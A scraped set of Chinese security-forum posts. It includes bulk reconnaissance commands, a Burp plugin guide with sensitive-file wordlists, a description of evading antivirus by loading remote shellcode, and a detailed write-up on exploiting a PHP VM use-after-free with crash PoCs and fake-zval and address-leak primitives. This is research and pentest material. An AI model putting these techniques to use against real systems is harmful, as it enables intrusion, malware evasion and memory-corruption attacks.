90sec还在啊,回忆。。。
十几年前上大学的时候经常混90sec,逛逛看雪,当时经常拿个破电脑扫sql漏洞,毕业了以后做牛马了这些东西就都放下了。以前全靠兴趣去玩这些,从脚本小子到crud boy,写过php,搞过golang,做过python,写过前端,只是再也没有以前的热情了。
偶尔回想起来,以前在90sec的岁月还是怀念啊,怀念以前的人和事,有遗憾有释怀,就是青春再也回不去了。。。。
1 个帖子 - 1 位参与者
十几年前上大学的时候经常混90sec,逛逛看雪,当时经常拿个破电脑扫sql漏洞,毕业了以后做牛马了这些东西就都放下了。以前全靠兴趣去玩这些,从脚本小子到crud boy,写过php,搞过golang,做过python,写过前端,只是再也没有以前的热情了。
偶尔回想起来,以前在90sec的岁月还是怀念啊,怀念以前的人和事,有遗憾有释怀,就是青春再也回不去了。。。。
1 个帖子 - 1 位参与者
安装方法:
D:\ziweiqi\ 这个路径是写死了,
D:\ziweiqi\soft\ 软件打包
无聊 分享一下干活,批量搞站
请用于授权的安全检测和hw 我主要也使用于 护网的资产信息收集还有平常时候工作的渗透测试资产收集
省去了手工和去重。减少工作量,之前也是这个思路,但是一直手动操作。任务量不少。
收集的web后续:
放入afrog afrog -T url.txt -oob dnslogcn -o url_results.html
放入xray+rad
放入 rad+ burp插件
fuzz 目录和文件
推荐几个工具
Dirscan1.5.2 优点就是快,缺点就是可能遗漏扫描,用脚本出现不通的时候记录目标到dirwaf.txt, 脚本结果会排序。最好自定义过滤掉302,扫描百度33个结果
dirsx 优点就是快,缺点不详 可能就是排序看的没那么舒服,还有默认不管有没有结果都会输出结果txt。已优化 没有结果不输出,然后结果会排序,扫描百度36个结果
dirmapw 优点就是算快,缺点不详
dirsearch 速度跟上面的比感觉就是慢了
批量扫:
python38 dirsearch.py -l url.txt -w w/dicc.txt -x 500,503,502,400,420,301,302,404,406 -t 5 --delay=0.5 --random-agent --timeout=5
会判断存活,针对于时间比较急的时候用 会判断存货 如果有waf或者目标不是很稳定的时候会自动中断 跳过扫下一个。
因此我做了记录 默认改小了点
Threads=15
有时候搞小程序或者app 本身没啥东西搞了这个时候可以搞目标的服务器和其他的指向这个服务器ip的其他域名
这个时候也可以上之前的资产收集方法 收集资产之后。。。加入小程序抓的资产是
sxzx.baidu.cn 那么可以搞 sxzx.baidu.cn 和 解析在这个ip上面的子域名资产
输入域名 sxzx.baidu.cn 这样去提取。。
如果还想继续搜集子域名 或者搞的更深的话
这个时候 思路是 抓取搜集的资产的 url 提取子域名。或者抓取url的路径进行测试。
我是建议先收集的资产 把上面的看完一般是登录之后 整合接口地址。在使用HeartKplusV2 自改了一下
利用findesomething + URLFinder.exe + katana.exe 提取url 和等等一些,看演示
需要安装:node-v12.22.12-x64.msi 和 谷歌浏览器
.edu.cn 这里还需要处理 正常的域名没问题,后面在改下
spring用的少,所以api比较少,
这里几个api的地方 提取api + 登录之后 整合接口地址 整合一起再过一道 afrog 和 dir
太多了估计要抓很久随机20个 看看的地方手工也看看
results_find_all_html.txt 去掉垃圾的 webrquest.jar 手工也看看说不定未授权。
工具下载地址:链接:文件分享 密码:thtif3
后续工具下载地址:链接:文件分享 密码:i2n4hv
视频下载地址:链接:文件分享 密码:cn9g2g
2 个帖子 - 1 位参与者
杀毒软件的检测方式,主要还是靠特征匹配,虽然现在有很多行为分析的杀软,但归根结底,它们还是在监控API 调用模式。问题是,合法软件和恶意软件调用的 API 大部分是一样的,所以行为检测很容易误判。而且,只要换个编译器、改改代码,很多恶意软件就能成功绕过查杀。
为了更稳妥地避开杀毒软件,我们可以采用远程分离免杀(Remote Loader)的方法——本地只运行一个下载器(Loader),shellcode放在远程服务器上,运行时再下载并执行,本地并无实际文件落地;这样杀软在扫描本地文件时什么都抓不到。
远程分离免杀流程:
简单实现:写个远程 Loader:
下面这段 C 代码演示了如何从远程服务器下载 payload.bin 并执行:
思路很简单:
这样做到了一个基本的分离免杀,持续想要优化的话可以使用纯内存加载(不落地)并融合一下加密、反沙箱等方法,进一步优化还可以,改用 DNS 隧道传输 payload.bin,绕过常规的流量监控。或者是利用 Windows 自带工具(如 mshta.exe、rundll32.exe)加载。
1 个帖子 - 1 位参与者
各位师傅元旦快乐!祝各位师傅新的一年挖的漏洞翻倍,收入翻倍,开心翻倍~
OneScan - 递归目录扫描插件OneScan 是一款用于递归目录扫描的 BurpSuite 插件,为发现更深层次目录下隐藏的漏洞赋能
项目地址:https://github.com/vaycore/OneScan
项目介绍OneScan 插件的思路由 One 哥提供,我负责编码将思路变现;后续有段时间我没参与开发,由 Rural.Dog 哥担下更新功能的重任;在 Github 开源之后,我继续项目的维护和升级工作。
OneScan 项目升级维护了近两年,感谢这期间师傅们积极的反馈意见和提供优化建议,让我有机会发现 OneScan 在实战中遇到的更深层次的问题,从而精准定位问题点并修复,优化使用体验上的不足;除此之外,针对师傅们反馈的特殊测试场景,新增了一些实战中必要的功能,欢迎各位师傅安装体验。
使用场景OneScan 起初是为了发现站点深层目录下的 Swagger-API 接口文档,后面随着功能完善和使用姿势的增加,目前可以完成如下测试工作:
因为之前有萌新在群里问过,所以简单过一下。大佬们可跳过此步骤
前往 https://github.com/vaycore/OneScan/releases 下载插件最新版本 JAR 包:
以 BurpSuite v2024.3.1.3 版本为例。首先切换到 Extensions 标签下的 Installed 页面,然后点击 Add 按钮,准备添加 OneScan 插件:
在打开的 Load Burp extension 窗口中点击 Select file... 按钮:
选择下载完成的 OneScan 插件 JAR 包,点击打开:
然后点击窗口右下角 Next 按钮,输出如下信息,并且没有报错,即表示安装成功:
配置HaE插件注意:OneScan 加载 HaE 后,作用域也只限于 OneScan 插件(仅用于提取并展示高亮数据),不会影响到 BurpSuite 安装的 HaE 插件的正常功能
首先,前往 https://github.com/gh0stkey/HaE/releases 下载 HaE 插件最新版本 JAR 包:
切换到 OneScan 插件配置下的其他配置页面,在 HaE 配置项,点击 “选择文件...” 按钮:
选择下载完成的 HaE 插件 JAR 文件的路径:
确认后,提示 HaE 加载成功,即表示配置完成:
配置 HaE 需要注意:
介绍一下 OneScan 插件的常见用法
主动扫描首先,在数据看板中打开 “目录扫描” 开关:
在 BurpSuite 其他模块中,可以把请求包发送到 OneScan 插件主动扫描:
如果配置了多个字典,会激活 “使用其它字典扫描” 菜单项,可以选择使用其它字典进行主动扫描:
扫描示例如下:
注意:主动扫描的请求包,不会被主机允许/阻止列表拦截
被动扫描首先,在 OneScan 数据看板中打开 “监听代理请求”、“目录扫描” 开关:
切换到 OneScan 插件配置标签下的主机配置页面,配置主机允许/阻止列表(也就是黑/白名单,如果配置为空表示不启用黑/白名单):
然后在浏览器访问允许列表里的目标即可(规则外的流量不会扫描),示例如下:
测试未授权、越权接口数据看板中的 “移除请求头”、“替换请求头” 功能开关分别用于测试未授权和越权漏洞。如果有些目标特殊,可以使用 “请求包处理” 功能进行处理
测试未授权首先,切换到 OneScan 插件配置标签下的请求配置页面,配置要移除的请求头,示例如下:
配置完成后,在数据看板里打开 “移除请求头” 开关:
将如下请求包发送到 OneScan 插件:
结果如下所示,可以发现已自动移除 Cookie、Authorization 请求头:
实战过程中,可以打开 “监听代理请求”、“移除请求头” 开关,然后登录目标站点,过一遍站点的功能,之后在 OneScan 中检测是否存在未授权的接口。
测试越权首先,切换到 OneScan 插件配置标签下的请求配置页面,配置要替换的请求头(一般登录 A 账号的话,这里配置 B 账号的权限),示例如下:
配置完成后,在数据看板里打开 “替换请求头” 开关:
将如下请求包发送到 OneScan 插件:
结果如下所示,可以发现已自动替换 Cookie、Authorization 请求头的内容:
实战过程中,可以打开 “监听代理请求”、“替换请求头” 开关,配置账号 B 的权限,然后用 A 账号登录目标站点,过一遍站点的功能,之后在 OneScan 中检测是否存在越权信息。
请求包处理OneScan 扫描目录只发起 GET 请求,假如需要发起 POST 请求(或者需要构建特殊的请求包),就需要用到 “请求包处理” 功能了:
首先,点击 “添加” 按钮,添加一条请求包处理规则,输入规则名(例如:Post):
点击下方规则旁边的 “添加” 按钮,添加一条处理规则:
规则类型选择:“条件检查”,生效范围选择:“请求头”,正则表达式:GET /,点击确定:
继续添加第二条处理规则,规则类型选择:“匹配/替换”,生效范围选择:“请求头”,正则表达式:GET /,替换为:POST /,点击确定:
继续添加第三条处理规则,规则类型选择:“匹配/替换”,生效范围选择:“请求头”,正则表达式:\r\nContent-Type: .*\r\n,替换为:\r\n,点击确定:
继续添加最后一条处理规则,规则类型选择:“添加后缀”,生效范围选择:“请求头”,后缀值:\r\nContent-Type: application/x-www-form-urlencoded,点击确定:
添加完成后,点击确定:
新添加的规则如下:
主动扫描测试,请求包处理结果示例如下:
发送过来的请求包内容如下:
常用字典目录扫描主要就是靠字典,在递归扫描、动态变量特性的加持下,可以简化一些测试工作。这里分享一些常用的字典:
扫描隐藏接口文档字典示例如下:
/swagger.json /swagger.yaml /swagger-resources /swagger-ui.html /swagger-ui/index.html /api/swagger /api/swagger.json /api/swagger.yaml /v1/api-docs /v2/api-docs /v3/api-docs /api/v1/api-docs /api/v2/api-docs /api/v3/api-docs /doc.html扫描隐藏的 API 接口字典示例如下:
/list /users /user/1 /save /update /servers /services?wsdl /keys /actuator /jolokia/list /getConfig /file/upload /upload /env /add /create /ping扫描敏感信息泄漏字典示例如下:
/.git/config /.svn/entries /{{domain}}.zip /{{domain.main}}.zip /{{domain.name}}.zip /{{subdomain}}.zip /{{webroot}}.zip /config.json /web.config /settings.json /{{date.yy}}_{{date.MM}}_{{date.dd}}.log /Logs/{{date.yy}}_{{date.MM}}_{{date.dd}}.log /Runtime/Logs/{{date.yy}}_{{date.MM}}_{{date.dd}}.log /Application/Runtime/Logs/{{date.yy}}_{{date.MM}}_{{date.dd}}.log还可以参考 ModerRAS 师傅的文章,自行配置字典:https://miaostay.com/2023/08/Springboot%E6%B8%97%E9%80%8F%E6%80%9D%E8%B7%AF/
END1 个帖子 - 1 位参与者
❯ ./xpoc_darwin_amd64 --disable reverse-client-dnslog
__ /\ /_. . _____
| |/ / / __./ __./ |
| /XRAY™// / / / / /
/ . | / ./ // / /.
/ /|| / / //
/v0.1.0/ cloud plugins: [426]
go load fail: go-poc-weaver-e-cology-oa-sql_injection-CT-787974.go.bin: go-poc-weaver-e-cology-oa-sql_injection-
poc:reverse-registry: XRAYKIT 注册了新反连: reverse-client-gunkit [registry.go:48]
poc:reverse-client-new: 新反连客户端不可用 原因: invalid character 'p' after top-level value [client.go:18]
调试半天config文件一直报这种错误,有哪位大佬解决此问题的
1 个帖子 - 1 位参与者
主要是提供安全情报,安全漏洞,威胁情报,数据泄露信息和众多安全工具,方便及时响应!
内置AI(gpt4o)/ai绘画(sd)/ChatTTS,无需登陆免费使用。里面有gpt4o,充了几十美元反正也用不完,给大家用了
3 个帖子 - 3 位参与者
鸟哥 (Laruence) [1]是所有国内PHPer应该都知道的一个人。鸟哥的博客是我早期学习PHP内核的时候经常会去的地方。在2020年的时候,鸟哥发了一篇《深入理解PHP7内核之HashTable》的文章[2],在文章的结尾提到了一个问题:
在实现zend_array替换HashTable中我们遇到了很多的问题,绝大部份它们都被解决了,但遗留了一个问题,因为现在arData是连续分配的,那么当数组增长大小到需要扩容到时候,我们只能重新realloc内存,但系统并不保证你realloc以后,地址不会发生变化,那么就有可能:
<?php $array = range(0, 7); set_error_handler(function($err, $msg) { global $array; $array[] = 1; //force resize; }); function crash() { global $array; $array[0] += $var; //undefined notice } crash();比如上面的例子, 首先是一个全局数组,然后在函数crash中, 在+= opcode handler中,zend vm会首先获取array[0]的内容,然后+$var, 但var是undefined variable, 所以此时会触发一个未定义变量的notice,而同时我们设置了error_handler, 在其中我们给这个数组增加了一个元素, 因为PHP中的数组按照2^n的空间预先申请,此时数组满了,需要resize,于是发生了realloc,从error_handler返回以后,array[0]指向的内存就可能发生了变化,此时会出现内存读写错误,甚至segfault,有兴趣的同学,可以尝试用valgrind跑这个例子看看。
但这个问题的触发条件比较多,修复需要额外对数据结构,或者需要拆分add_assign对性能会有影响,另外绝大部分情况下因为数组的预先分配策略存在,以及其他大部分多opcode handler读写操作基本都很临近,这个问题其实很难被实际代码触发,所以这个问题一直悬停着。
直到今天这个问题还是悬停着。对于普通PHP开发者而言,这可能确实不算是一个很大的问题,但对于做安全的人来说,这里可能隐藏一个很严重的安全问题。因为它是我见过为数不多出现在PHP VM中的问题,而不是平时出现在各种PHP native libraries中的问题。一旦可以被利用,影响将非常之大。所以这个问题一直就放在了我的心上,它也一直以crash.php [3] 在我的PHP-exploit repo中放了4年. 特别地,只要你用PHP7或者8运行它就会出现segmentfault,也不知道有没有人去尝试过。
1.2 修复该问题的阻力鸟哥出给的解释非常清晰明了,这里我试着用更加通俗的伪代码来进一步帮助不熟悉PHP内部的读者, 去理解PHP VM在第11行这里到底做了什么:
// array = [0, 1, 2, 3, 4, 5, 6, 7] arr_base = get_base_addr_of(array) elem_addr = get_addr_by_index(array_base, index) elem = get_elem_from_addr(elem_addr) // elem is ok check_var(var) // is elem ok? res = add(elem, var) assign_var_to_elem(elem, res)这里做了这样几件事:
而问题出现在第6行这里,check_var(var)可能会产生副作用(side-effects),从而clobber the world。这个词我是从JavaScriptCore (WebKit的JS引擎) 中学到的,副作用的出现可能会导致之前的计算结果变得的不可信,在这种不确定地情况下,我们是不能直接使用这些计算结果的。这里的elem是否还依然正确地指向待写入的目标元素呢? 在第6行之后我们是不能确定的,因为它指向的内存地址可能已经被释放了,而正确的目标元素位置已经被搬到了其他内存上。
以上其实就是PHP opcode ZEND_ASSIGN_DIM_OP的大致解释过程,完整的解释过程你可以在[4]中找到。那么这个问题为什么一直没有被修复呢? 好问题。我们从几个直觉上可行的简单修复方法开始,来讲一下修复的阻力在哪里。这里我用array->arData表示指向第1个元素的内存地址,其余array其他元素都顺序地落在其后.
简单方法1: 在第6行之后检查elem是否还落在array->arData相对位置上
这样做只能确保array->arData没有发生变化,但是你如何保证ABA问题 ? 比如array存储元素区域被释放了,然后被其他内存结构抢占了,然后又被释放了,再被布置为原本array存储元素区域的布局 (另外一个和它结构相同的array2把这块区域抢占了)。
简单方法2: 把check_var放在最前面
那么你考虑如下形式:
$array['a']['b'] = $var;这段代码会被翻译成类似如下的中间代码:
L0 : V2 = FETCH_DIM_W CV0($array) string("a") L1 : ASSIGN_DIM V2 string("b") L2 : OP_DATA CV1($var)这里我们考虑不带二元运算的ZEND_ASSIGN_DIM。以上代码等同于:
V2 &= $array['a']; V2['b'] = $var;其中V2是指向$array中index为'a'元素的位置,所以这里我用&=,来强调V2不是$array['a']。那么问题来了,如果第2行中的副作用导致在$array被resized了,那么这个V2就指向的位置就不对了。
这个问题注定了不能简单地被修复。
1.3 unset 和 reassign你可以试着将前面的resize操作换成unset或者reassign,如下:
<?php $array = range(0, 7); set_error_handler(function($err, $msg) { global $array; // $array = 2; unset($array); }); function crash() { global $array; $array[0] += $var; //undefined notice } crash();两个情况有些不太一样:
有趣地是,官方已经注意到这样的问题,比如它对undefined index (i.e., $arr[$undef_var] = 1)产生的副作用做出了检查。而对要写入的值没有做检查。
将ZEND_ASSIGN_DIM或者ZEND_ASSIGN_DIM_OP (同时包括所有的array fetch操作) 改成支持multi-index, 是我觉得最直接的手法。比如前面的$array['a']['b'] = $var;会被翻译为
L0 : V2 = FETCH_DIM_W CV0($array) string("a") L1 : ASSIGN_DIM V2 string("b") L2 : OP_DATA CV1($var)那么现在直接翻译为
L0 : ASSIGN_DIM CV0($array) [string("b"), string("b")] L1 : OP_DATA CV1($var)并且再此之前把所有的indexs和带待写入的var对应的表达式全部计算完成。注意这并不会改变现在PHP求值顺序. 考虑如下代码
<?php function func1() { echo "func1\n"; return 1; } function func2() { echo "func2\n"; return 2; } $a = []; set_error_handler(function($err, $msg){echo $msg."\n";}); echo $a[func1()][func2()]; /* output at PHP 8.3.3: func1 func2 Undefined array key 1 Trying to access array offset on null */可以看到index也是全部是先计算完成的。
0x02 三只蝴蝶 (butterfly)TL;DR. 如果不想听故事可以跳过这一章节。
四年前,在知道了这个问题之后,我就开始了探索应该如何利用它。非常可惜,我不太聪明,四年都没有能想出个招。这四年,我的工作也和PHP紧密结合在一起,在PHP里面写了大概有40-50k行代码吧,以至于我近乎写出了一个全新的PHP解释器,很难想象这是一个做安全的人在做的事情。所以我对PHP要稍微了解那么多一点点。
我能完成这篇文章,是因为有三只蝴蝶。第一只蝴蝶,教会我了一些新的方法; 第二只蝴蝶,让我发现了新大陆; 第三只蝴蝶,带我走出了困境。
之前,我其实一直被困在一个误区里面。我的基本想法是:
这里没有问题。
这里贴一下前面的关于ZEND_ASSIGN_DIM_OP类似的ZEND_ASSIGN_DIM的伪代码:
// array = [0, 1, 2, 3, 4, 5, 6, 7] arr_base = get_addr_of(array) elem_addr = get_addr_of(array_base, index) elem = get_elem_from_addr(elem_addr) check_var(var) assign_var_to_elem(elem, var)但是问题来了,其中assign_var_to_elem只能像目标内存写一个特殊的null (前面提到var会被初始化为null)值, 并且过程中需要对elem进行检查。换句话说目标内存需要有比较苛刻的memory layout. 其次受鸟哥代码中的a[0] += $var影响,我觉得这个null只能在这块内存稍前的位置写入。这就是我的误区。结合以上原因一直让我找不到一个合适的structure来hold这块内存。
过去我逐渐地其实不太关注PHP里面的安全了,有时候写代码也会发现一些问题,但也觉得就那么回事。直到最近看见了关于LockBit的新闻,突然有了兴趣,才有了《CVE-2023-3824: 幸运的Off-by-one (two?)》[5] 一文。在文章写完后的几天,我又去逛逛了安全圈看看大家都在研究什么,在这过程中发现那三只蝴蝶。
首先发现了一篇《WebAssembly安全研究总结》[6]。 这篇文章中重要介绍了如何通过构造恶意的bytecode来攻击Wasm引擎,挺有趣的,也行PHP opcache中的也有类似的问题。我个人比较喜欢解释器和编译器上的一些安全研究,然后我就想去看看有没有关于Wasm更深入一点研究,搜索了一下作者其他的文章。
第一只蝴蝶
我又发现了作者有许多关于JavaScriptCore (jsc) 的研究,我之前是没有接触过jsc,只短暂接触过V8。感觉似乎挺有趣的,那就来感受一下吧。在文章[7]和系列文章[8]的帮助下,使得我的博客中又多了一篇《CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT》。在这过程中积累了一点点关于jsc的姿势。特别地,里面的部分构造(box/unbox)让我大开眼界,可谓是相当之精彩,以至于后面在PHP的构造中我都想重现它。 jsc里面有一个用来作为存储JSObject的properties和elements特殊结构叫butterfly, 因为其内存结构像一只带翅膀的蝴蝶,顾名butterfly。ascii graph来自[9]
-------------------------------------------------------- .. | propY | propX | length | elem0 | elem1 | elem2 | .. -------------------------------------------------------- ^ | +---------------+ | +-------------+ | Some Object | +-------------+在jsc的利用中都频繁地使用到了这个结构,包含我前面提到的box/unbox技术。这是第一只蝴蝶。
第二只蝴蝶
在看[9]的过程中,我又看到了saelo(前google project zero成员, 目前V8 JS引擎的安全负责人)的博客中《Pwning Lua through 'load'》[10]。 真苦恼,都是我喜欢读的东西,那就看吧。让我比较惊讶的Lua竟然没有bytecode verifier,文章内容和第一篇攻击Wasm引擎的内容比较相似。然后我又想看看Lua上的一些安全研究,搜索了到一系列来自bigshaq关于LuaJIT方面的安全研究[11],在里面遇到了第二只蝴蝶。LuaJIT的jit complier会将收集到的trace翻译成的IR放在一个类似butterfly结构中。形如
----------------------------------------- | | | | | |const2|const1|inst1|inst2| | | | | | --------------------▲-----------─--------- │ │ ┌──────┐ │ │ ir_p ├─────────┘ └──────┘instructions在一边翅膀,而constants在另一边翅膀。在这短暂的LuaJIT之旅中,又积累了一些关于LuaJIT的知识,但是我觉得最后研究的安全问题太刻意,毕竟是CTF的题,可以理解嘛。不过利用JIT code中的guarded assertions来固定shellcode的技术确实不错。
最后一只蝴蝶
PHP 8中的JIT技术深受LuaJIT影响。以至于bigshaq博客在一篇关于PHP文章中,给PHP打了patch,就把LuaJIT上相关利用直接拿到PHP上。绕了一大圈我又回到了PHP,我突然发现Dmitry整出了一套JIT Compilation Framework [11],名字就叫IR。Dmitry是那个一个人写了PHP中几乎全部optimizers的男人,我对其从心里佩服。听闻IR之后,让我内心久久不能平静,依托IR的全新JIT compiler已经merge到了PHP-src的主线上,令人抓狂的DynAsm终于不见了。我又马上看了一眼Dmitry对其的介绍[13],未来我终于有机会不用在PHP bytecode上做优化了。我看到了类似V8 TurboFan中的Sea of Nodes,及其各种补全的优化算法。这一刻,我打算以后为它也做点什么。因为Dmitry写的那些optimizers曾经陪伴我了很多时候。
我又想到文中这个IR缺陷,我觉得它应该结束了。我又开始了审视它,目光又重新对准了PHP中zend_array,它那里不恰好也有一只蝴蝶吗? 下面ascii来自[14]:
/* * HashTable Data Layout * ===================== * * +=============================+ * | HT_HASH(ht, ht->nTableMask) | +=============================+ * | ... | | HT_INVALID_IDX | * | HT_HASH(ht, -1) | | HT_INVALID_IDX | * +-----------------------------+ +-----------------------------+ * ht->arData ---> | Bucket[0] | ht->arPacked ---> | ZVAL[0] | * | ... | | ... | * | Bucket[ht->nTableSize-1] | | ZVAL[ht->nTableSize-1] | * +=============================+ +=============================+ */PHP中有两种特殊的数组,packed array和mixed array,我在考虑它们的时候,突然想起了这只蝴蝶。原来不用在内存稍前的位置写入那个null,完全可以在内存的中间写入这个null. 甚至我都忘记了可以通过拨动index来控制写入这个null的位置,这一错就是四年。原来那只蝴蝶一直都在那里,都在那个我能看得见的枝头。
0x03 PHP前置知识之前我写PHP内核相关内容的时候,几乎不会去写相关的前置知识,因为我不太想复制粘贴大量的代码,观感不是很好。 但是这次我希望更多的人,能从这个文章中学到一些东西。这篇文章用到的前置知识不会太多,不用担心。如果有不懂的地方,都可以发我邮件问我,但我不能保证及时地回复。
3.1 zval 结构PHP中的变量都是以zval 的形式出现的,它是一个tagged union形式:
// Zend/zend_types.h typedef union _zend_value { zend_long lval; /* long value */ double dval; /* double value */ zend_refcounted *counted; zend_string *str; zend_array *arr; zend_object *obj; zend_resource *res; zend_reference *ref; zend_ast_ref *ast; zval *zv; void *ptr; zend_class_entry *ce; zend_function *func; struct { uint32_t w1; uint32_t w2; } ww; } zend_value; struct _zval_struct { zend_value value; /* value */ union { uint32_t type_info; struct { ZEND_ENDIAN_LOHI_3( zend_uchar type, /* active type */ zend_uchar type_flags, union { uint16_t extra; /* not further specified */ } u) } v; } u1; union { ... } u2; };这在编程语言设计中非常常见,比如JavaScriptCore里面对应的变量表示形式JSValue。所以在了解编程语言内部的时候,你需要提早关注它里面的变量表示形式。其中zval.value会存储变量对应的真正值,而zval.u1.type_info会存储变量对应的类型信息。
3.2 PHP基本类型PHP中基本类型有
// Zend/zend_types.h #define IS_UNDEF 0 #define IS_NULL 1 #define IS_FALSE 2 #define IS_TRUE 3 #define IS_LONG 4 #define IS_DOUBLE 5 #define IS_STRING 6 #define IS_ARRAY 7 #define IS_OBJECT 8 #define IS_RESOURCE 9 #define IS_REFERENCE 10 #define IS_CONSTANT_AST 11 /* Constant expressions */它们出现在zval.u1.v.type中。
zend_string用于描述上面提到的string类型。其结构如下:
typedef struct _zend_refcounted_h { uint32_t refcount; /* reference counter 32-bit */ union { uint32_t type_info; } u; } zend_refcounted_h; struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; };其中:
PHP中两种类型的数组:
我们来介绍一下在array中的butterfly. 首先是packed array:
+=============================+ | HT_INVALID_IDX | | HT_INVALID_IDX | +-----------------------------+ ht->arPacked ---> | ZVAL[0] | | ... | | ZVAL[ht->nTableSize-1] | +=============================+其中zend_array.arData 指向第1个元素,注意到它并不是指向申请的内存起始位置,前面还有两个index cells (一个cell大小为4字节),在其上都存放着HT_INVALID_IDX == -1。因为packed array, 不需要对index做hash, 直接根据index取值就行。那这两个invalid index在这里是干啥呢? 为了照顾未来使用非整数index来array fetch。我之前就困在packed array之上。
再一个就是mixed array:
+=============================+ | HT_HASH(ht, ht->nTableMask) | | ... | | HT_HASH(ht, -1) | +-----------------------------+ ht->arData ---> | Bucket[0] | | ... | | Bucket[ht->nTableSize-1] | +=============================+PHP数组中的元素顺序存储, 位于一块连续的内存上。为了解决hash冲突,PHP将hash冲突的元素用一张链表连接。那么为了在mixed array中找到正确的元素,会做这样以下操作:
在mixed array中,index table中index cells的个数是这个array可存储元素容量的2倍。在array扩正的过程中依然会保持这个关系,例如如果array可以存储8个元素,那么就有16 index cells。它们总计大小,即是对应butterfly区域内存大小。
无论是packed array或者mixed array它们的容量最小都是8个元素,每次扩容都是double。特别地是,PHP数组存储单个元素的结构为Bucket, 其定义如下:
typedef struct _Bucket { zval val; zend_ulong h; /* hash value (or numeric index) */ zend_string *key; /* string key or NULL for numerics */ } Bucket;这里讲一下两个zval *var, *val之间的赋值过程,它对应Zend/zend_execute.h中两个函数zend_assign_to_variable 和 zend_copy_to_variabl部分过程 。我用伪代码表示,因为适合突出一些重要的东西,并省略一些不太重要的信息。
// assign val to var if var is refcouted: var_value = get_value_from_zval(var); copy_zval(var, val) if (get_refcount(var_value) == 1) free_value(var_value) else copy_zval(var, val)它对应的两个函数明显会比我给出的伪代码复杂,但是我们不需要关注里面大多数cases。其中我们说一个zval是refcounted,意味它对应值需要额外分配内存,比如string, array和 object这些都是,而null,false, true,long 和double它们不是refcounted,因为它们的值是直接保存在zval中的。这里赋值过程的核心逻辑是我们特别需要注意var原本的值。
我来解释一下这里在做什么:
在1.3中var的原值的引用计数为1,意味着这个值只有var来用,当var被赋予新值之后,它的原值就没人用了,那么是可以释放掉的。其中copy_zval做了两件事情:
这里我们暂时不讨论是什么情况会调整引用计数。
3.6 Copy on Write它的中文名叫写时复制,是一种比较常见的优化。考虑如下代码
$a = 'aaaa'; $b = $a; echo $b; $b .= 'b'; echo $b;在第二行这里并不会直接复制字符串'aaaa' 给变量$b,而是把$a指向的string上引用计数加1. 在第4行这里才会将前面的字符串重新复制一份,用于连接字符串b,再将新的结果写入$b. 那么写时复制是如何判断的呢? 很简单,你只需要判断你指向的值的引用计数是否大于1.
以上就是这里我们需要知道的所有PHP里面的知识。
0x04 利用简述我们的大致路线是:
参考jsc中经常会fakeObj和addressOf原语, 我们来构造PHP中独特的fakeZval和addressOf。这篇文章不讨论后续利用,因为相关利用方式比较模板化,常规PHP漏洞利用中都有提到,不再累述,节省篇幅。
0x05 构造fake zval这个技术的灵感来于jsc利用里面的fakeobj源语。
回忆一下,我们之前的想法
这里我们先搞清楚两个问题:
null会写在butterfly的哪里?
结合我们前面理解的两个zval直接的赋值过程,如何让写null这个操作顺利执行?
第1个问题,毫无意义,null写在你通过index指定的元素上. 例如我定义一个mixed array如下:
$a1_str = 'eeee' $victim_arr = array( 'a1' => $a1_str, 'a2' => 1, 'a3' => 1, 'a4' => 1, 'a5' => 1, 'a6' => 1, 'a7' => 1, 'a8' => 1, );它对应的memory layout如下(我们前面提到过,8个元素对应16个index cells):
┌───────────────┐ │ index_cell15 │ │ ├───────────────┤ │ │ ... │ │ ├───────────────┤ │ │ index_cell1 │ │ ├───────────────┤ │ │ index_cell0 │ │ addr $victim_arr['a1']──────► |───────────────┤ │ │ bucket0 │ │ ├───────────────┤ │ │ bucket1 │ │ ├───────────────┤ ▼ │ ... │ ├───────────────┤ │ bucket7 │ └───────────────┘如果要写这个数组的第1个元素 $a[0] = $undef_var,那么写入的位置相对于这块butterfly的其实地址的offset应该为4 * 16 = 64。
第二问题,当上面的butterfly区域被释放后,我们马上构造一个大小合适的string来把它抢占。例如:
$zend_array_burket_size = 0x20; $zend_table_index_size = 0x4; $zend_string_size = 0x20; $user_str_length = 16 * $zend_table_index_size + 8 * $zend_array_burket_size - $zend_string_size; set_error_handler(function() { $victim_arr['a9'] = 1; $user_str = str_repeat('b', $user_str_length); })对于一个string, 它的前0x18字节属于header, 具体来说:
那么很显然要写的地方0x40落在了我们可控的字符串内容上。那么可以伪造一个zval,来满足前面提到过的赋值过程中的check,让null顺利的写到这个fake zval上。
0x06 泄露某个地址绕过ASLR,或者是读写指定地址的内容,我们都需要先泄露一些地址,才能准确定位我们需要的地址。这里的过程比较trick,我们借助了PHP的弱类型转换。考虑如下代码:
$victim_arr['a1'] = true; $victim_arr['a1'] .= null; var_dump($victim_arr['a1']); // output: string(1) "1"在第3行这里,有一个string concact操作,会把$a['a1']和null连接起来。但是它们都不是string,所以这里会经历一个弱转,true会被转成字符串"1",而null会被转成empty string。 最后值为"1"的string写到$a['a1']上,所以$a['a1']会保存这个string的指针。通过前面UAF, $a['a1']实际位于我们可以控制的内存 (即$user_str)上,它对应我们使用fakeZval构造的zval。通过读取$user_str,我们就拿到了这个string的地址。
此时$user_str内存布局应该为
┌──────────────┐ │ │ │ string_header│ │ │ ├──────────────┤0x18 │ │ │ ... │ │ │ string: '1' fake_zval_with_null──────────►├──────────────┤0x40 ◄─────────────┬────────────┐ │ zval_value │ 0x0 │ │ gc_header │ ├────────────────►├──────────────┤0x48 ├────────────┤ │ zval_type │ 0x3 │ │ hash │ └────────────────►├──────────────┤ ├────────────┤ │ │ │ len │ │ │ ├────────────┤ │ │ │ content │ └──────────────┘ └────────────┘注意里面的0x3表示是这个fake zval是一个true。因为这个fake zval作为一个待赋值的zval,它只是一个null,非前面我们提到的refcounted类型的值。所以这里的赋值过程非常简单:
注意这里有一个小问题,你会发现上述泄露出来的string地址不在PHP自己管理的堆上,用于存放各种PHP运行时结构。而是在glibc通过malloc/free管理的堆上。这是因为PHP对于字符串的一个小优化,PHP会将常见的字符串对应的string事先分配,如果在运行时,有碰到这些字符串,直接返回之前分配好的就行,避免频繁分配。而这些字符串在PHP是以persistent string出现的, 它们内存都是通过malloc分配的。
true弱转对应的当个字符"1"恰好就是这已知字符串中的一个,并且它在这里连接是一个empty string。使得最后结果依然这个已知的string。如果我们想到得到PHP自己堆上的一个地址,我们就必须绕过它。很简单,我们可以用int或者double来作为fake zval的值就行。
这里我使用的是int : (100),最后我们就得到了string : "100"的地址。为什么使用100,后面会提到。
